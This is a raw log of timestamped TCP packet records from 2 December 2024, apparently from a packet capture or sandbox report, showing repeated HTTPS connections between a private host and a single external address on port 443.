Dec 2, 2024 05:00:17.615873098 CET	443	50048	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:17.615936995 CET	50048	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:17.616070986 CET	50048	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:17.616082907 CET	443	50048	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:17.941025019 CET	443	50044	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:17.944143057 CET	443	50044	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:17.944189072 CET	443	50044	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:17.944205046 CET	50044	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:17.944237947 CET	50044	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:17.944292068 CET	50044	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:17.944303036 CET	443	50044	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:17.944313049 CET	50044	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:17.944317102 CET	443	50044	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:17.946494102 CET	50049	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:17.946510077 CET	443	50049	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:17.946578979 CET	50049	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:17.946710110 CET	50049	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:17.946717978 CET	443	50049	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:18.291198969 CET	443	50045	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:18.339997053 CET	50045	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:18.391855955 CET	50045	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:18.391866922 CET	443	50045	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:18.392349958 CET	50045	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:18.392354965 CET	443	50045	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:18.725599051 CET	443	50045	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:18.725708008 CET	443	50045	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:18.725764036 CET	50045	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:18.725884914 CET	50045	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:18.725899935 CET	443	50045	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:18.725912094 CET	50045	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:18.725917101 CET	443	50045	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:18.728296041 CET	50050	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:18.728318930 CET	443	50050	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:18.728394985 CET	50050	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:18.728548050 CET	50050	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:18.728562117 CET	443	50050	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:19.073467016 CET	443	50046	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:19.074307919 CET	50046	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:19.074323893 CET	443	50046	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:19.074767113 CET	50046	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:19.074771881 CET	443	50046	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:19.182862997 CET	443	50047	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:19.183238983 CET	50047	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:19.183265924 CET	443	50047	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:19.183732986 CET	50047	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:19.183737993 CET	443	50047	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:19.330079079 CET	443	50048	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:19.330842018 CET	50048	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:19.330871105 CET	443	50048	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:19.331152916 CET	50048	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:19.331160069 CET	443	50048	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:19.507886887 CET	443	50046	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:19.511378050 CET	443	50046	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:19.511605978 CET	50046	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:19.511624098 CET	50046	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:19.511624098 CET	50046	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:19.511634111 CET	443	50046	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:19.511641026 CET	443	50046	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:19.514014959 CET	50051	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:19.514038086 CET	443	50051	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:19.514105082 CET	50051	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:19.514239073 CET	50051	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:19.514250994 CET	443	50051	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:19.633089066 CET	443	50047	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:19.636267900 CET	443	50047	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:19.636305094 CET	443	50047	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:19.636328936 CET	50047	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:19.636495113 CET	50047	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:19.636496067 CET	50047	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:19.636496067 CET	50047	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:19.638776064 CET	50052	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:19.638791084 CET	443	50052	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:19.638859987 CET	50052	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:19.638971090 CET	50052	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:19.638981104 CET	443	50052	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:19.661906958 CET	443	50049	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:19.662229061 CET	50049	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:19.662241936 CET	443	50049	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:19.662695885 CET	50049	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:19.662702084 CET	443	50049	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:19.765410900 CET	443	50048	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:19.768512964 CET	443	50048	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:19.770451069 CET	50048	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:19.770490885 CET	50048	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:19.770504951 CET	443	50048	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:19.770519972 CET	50048	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:19.770525932 CET	443	50048	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:19.772504091 CET	50053	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:19.772528887 CET	443	50053	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:19.772692919 CET	50053	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:19.772859097 CET	50053	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:19.772871971 CET	443	50053	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:19.949515104 CET	50047	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:19.949532986 CET	443	50047	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:20.098061085 CET	443	50049	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:20.100728035 CET	443	50049	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:20.100918055 CET	50049	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:20.100919008 CET	50049	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:20.100919008 CET	50049	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:20.103167057 CET	50054	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:20.103183031 CET	443	50054	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:20.103250027 CET	50054	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:20.103399038 CET	50054	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:20.103406906 CET	443	50054	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:20.402859926 CET	50049	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:20.402868032 CET	443	50049	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:20.508991003 CET	443	50050	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:20.509649038 CET	50050	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:20.509659052 CET	443	50050	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:20.510016918 CET	50050	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:20.510024071 CET	443	50050	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:20.962835073 CET	443	50050	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:20.965945005 CET	443	50050	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:20.965995073 CET	443	50050	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:20.965997934 CET	50050	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:20.966041088 CET	50050	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:20.966098070 CET	50050	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:20.966104031 CET	443	50050	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:20.966130018 CET	50050	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:20.966134071 CET	443	50050	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:20.968825102 CET	50055	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:20.968861103 CET	443	50055	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:20.968923092 CET	50055	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:20.969077110 CET	50055	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:20.969091892 CET	443	50055	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:21.293828011 CET	443	50051	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:21.294348955 CET	50051	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:21.294368982 CET	443	50051	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:21.294815063 CET	50051	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:21.294821024 CET	443	50051	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:21.418751001 CET	443	50052	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:21.419262886 CET	50052	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:21.419277906 CET	443	50052	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:21.419734001 CET	50052	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:21.419739008 CET	443	50052	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:21.488224030 CET	443	50053	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:21.488764048 CET	50053	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:21.488784075 CET	443	50053	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:21.489175081 CET	50053	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:21.489180088 CET	443	50053	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:21.744215012 CET	443	50051	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:21.747347116 CET	443	50051	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:21.747421026 CET	50051	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:21.747456074 CET	50051	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:21.747464895 CET	443	50051	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:21.747481108 CET	50051	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:21.747483969 CET	443	50051	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:21.750391960 CET	50056	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:21.750416994 CET	443	50056	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:21.750499964 CET	50056	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:21.750622034 CET	50056	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:21.750634909 CET	443	50056	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:21.826033115 CET	443	50054	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:21.826416016 CET	50054	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:21.826426983 CET	443	50054	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:21.826843977 CET	50054	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:21.826848984 CET	443	50054	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:21.862972021 CET	443	50052	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:21.866890907 CET	443	50052	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:21.866928101 CET	443	50052	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:21.866951942 CET	50052	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:21.867002964 CET	50052	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:21.867058039 CET	50052	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:21.867064953 CET	443	50052	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:21.867079973 CET	50052	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:21.867084980 CET	443	50052	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:21.869163990 CET	50057	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:21.869196892 CET	443	50057	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:21.869278908 CET	50057	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:21.869390965 CET	50057	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:21.869405985 CET	443	50057	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:21.927856922 CET	443	50053	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:21.927911997 CET	443	50053	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:21.927966118 CET	50053	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:21.928067923 CET	50053	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:21.928081989 CET	443	50053	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:21.928090096 CET	50053	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:21.928096056 CET	443	50053	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:21.930013895 CET	50058	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:21.930027962 CET	443	50058	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:21.930124044 CET	50058	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:21.930247068 CET	50058	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:21.930258036 CET	443	50058	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:22.261928082 CET	443	50054	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:22.265089035 CET	443	50054	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:22.265152931 CET	50054	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:22.265197039 CET	50054	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:22.265202045 CET	443	50054	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:22.265212059 CET	50054	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:22.265214920 CET	443	50054	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:22.267620087 CET	50059	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:22.267652035 CET	443	50059	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:22.267729998 CET	50059	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:22.268022060 CET	50059	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:22.268034935 CET	443	50059	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:22.751637936 CET	443	50055	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:22.752072096 CET	50055	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:22.752096891 CET	443	50055	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:22.752527952 CET	50055	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:22.752532959 CET	443	50055	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:23.198345900 CET	443	50055	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:23.201781988 CET	443	50055	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:23.201850891 CET	50055	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:23.201894045 CET	50055	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:23.201915979 CET	443	50055	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:23.201929092 CET	50055	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:23.201934099 CET	443	50055	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:23.204600096 CET	50060	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:23.204623938 CET	443	50060	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:23.204710007 CET	50060	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:23.204871893 CET	50060	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:23.204883099 CET	443	50060	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:23.594225883 CET	443	50056	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:23.594692945 CET	50056	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:23.594712973 CET	443	50056	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:23.595141888 CET	50056	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:23.595146894 CET	443	50056	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:23.647109985 CET	443	50058	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:23.647476912 CET	50058	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:23.647491932 CET	443	50058	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:23.647849083 CET	50058	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:23.647852898 CET	443	50058	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:23.648909092 CET	443	50057	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:23.649147987 CET	50057	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:23.649184942 CET	443	50057	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:23.649460077 CET	50057	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:23.649465084 CET	443	50057	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:24.048337936 CET	443	50056	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:24.051539898 CET	443	50056	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:24.051588058 CET	443	50056	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:24.051593065 CET	50056	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:24.051645041 CET	50056	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:24.051697016 CET	50056	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:24.051706076 CET	443	50056	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:24.051717043 CET	50056	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:24.051721096 CET	443	50056	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:24.054286003 CET	50061	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:24.054327011 CET	443	50061	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:24.054387093 CET	50061	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:24.054544926 CET	50061	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:24.054557085 CET	443	50061	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:24.084959984 CET	443	50058	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:24.088073969 CET	443	50058	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:24.088136911 CET	443	50058	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:24.088141918 CET	50058	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:24.088186026 CET	50058	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:24.088222027 CET	50058	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:24.088227034 CET	443	50058	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:24.088234901 CET	50058	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:24.088238001 CET	443	50058	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:24.090192080 CET	50062	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:24.090213060 CET	443	50062	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:24.090276957 CET	50062	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:24.090395927 CET	50062	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:24.090409994 CET	443	50062	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:24.093342066 CET	443	50057	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:24.096565008 CET	443	50057	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:24.096627951 CET	50057	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:24.096656084 CET	50057	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:24.096656084 CET	50057	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:24.096669912 CET	443	50057	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:24.096683025 CET	443	50057	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:24.098645926 CET	50063	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:24.098665953 CET	443	50063	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:24.098745108 CET	50063	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:24.098872900 CET	50063	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:24.098886967 CET	443	50063	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:24.113066912 CET	443	50059	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:24.113394022 CET	50059	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:24.113400936 CET	443	50059	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:24.113763094 CET	50059	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:24.113766909 CET	443	50059	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:24.577876091 CET	443	50059	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:24.577956915 CET	443	50059	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:24.578010082 CET	50059	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:24.583813906 CET	50059	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:24.583828926 CET	443	50059	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:24.593506098 CET	50064	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:24.593525887 CET	443	50064	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:24.593589067 CET	50064	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:24.594810963 CET	50064	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:24.594824076 CET	443	50064	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:24.992257118 CET	443	50060	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:25.008737087 CET	50060	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:25.008753061 CET	443	50060	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:25.009192944 CET	50060	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:25.009197950 CET	443	50060	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:25.437135935 CET	443	50060	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:25.440239906 CET	443	50060	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:25.440287113 CET	443	50060	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:25.440296888 CET	50060	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:25.440346003 CET	50060	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:25.440392971 CET	50060	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:25.440402031 CET	443	50060	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:25.440411091 CET	50060	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:25.440416098 CET	443	50060	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:25.442989111 CET	50065	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:25.443006992 CET	443	50065	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:25.443073034 CET	50065	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:25.443217039 CET	50065	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:25.443233013 CET	443	50065	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:25.834836960 CET	443	50061	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:25.835328102 CET	50061	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:25.835338116 CET	443	50061	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:25.835772038 CET	50061	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:25.835777044 CET	443	50061	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:25.883358955 CET	443	50062	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:25.883719921 CET	50062	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:25.883732080 CET	443	50062	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:25.884084940 CET	50062	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:25.884090900 CET	443	50062	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:25.893034935 CET	443	50063	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:25.893317938 CET	50063	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:25.893333912 CET	443	50063	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:25.893656969 CET	50063	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:25.893661976 CET	443	50063	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:26.278795004 CET	443	50061	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:26.282130957 CET	443	50061	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:26.282191038 CET	50061	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:26.282227039 CET	50061	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:26.282241106 CET	443	50061	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:26.282254934 CET	50061	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:26.282259941 CET	443	50061	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:26.284770012 CET	50066	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:26.284806967 CET	443	50066	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:26.284873009 CET	50066	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:26.284995079 CET	50066	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:26.285008907 CET	443	50066	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:26.319269896 CET	443	50064	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:26.319766998 CET	50064	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:26.319785118 CET	443	50064	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:26.320199013 CET	50064	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:26.320203066 CET	443	50064	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:26.328494072 CET	443	50062	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:26.331666946 CET	443	50062	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:26.331717014 CET	50062	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:26.331773043 CET	50062	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:26.331783056 CET	443	50062	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:26.331823111 CET	50062	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:26.331830025 CET	443	50062	13.107.246.63	192.168.2.4
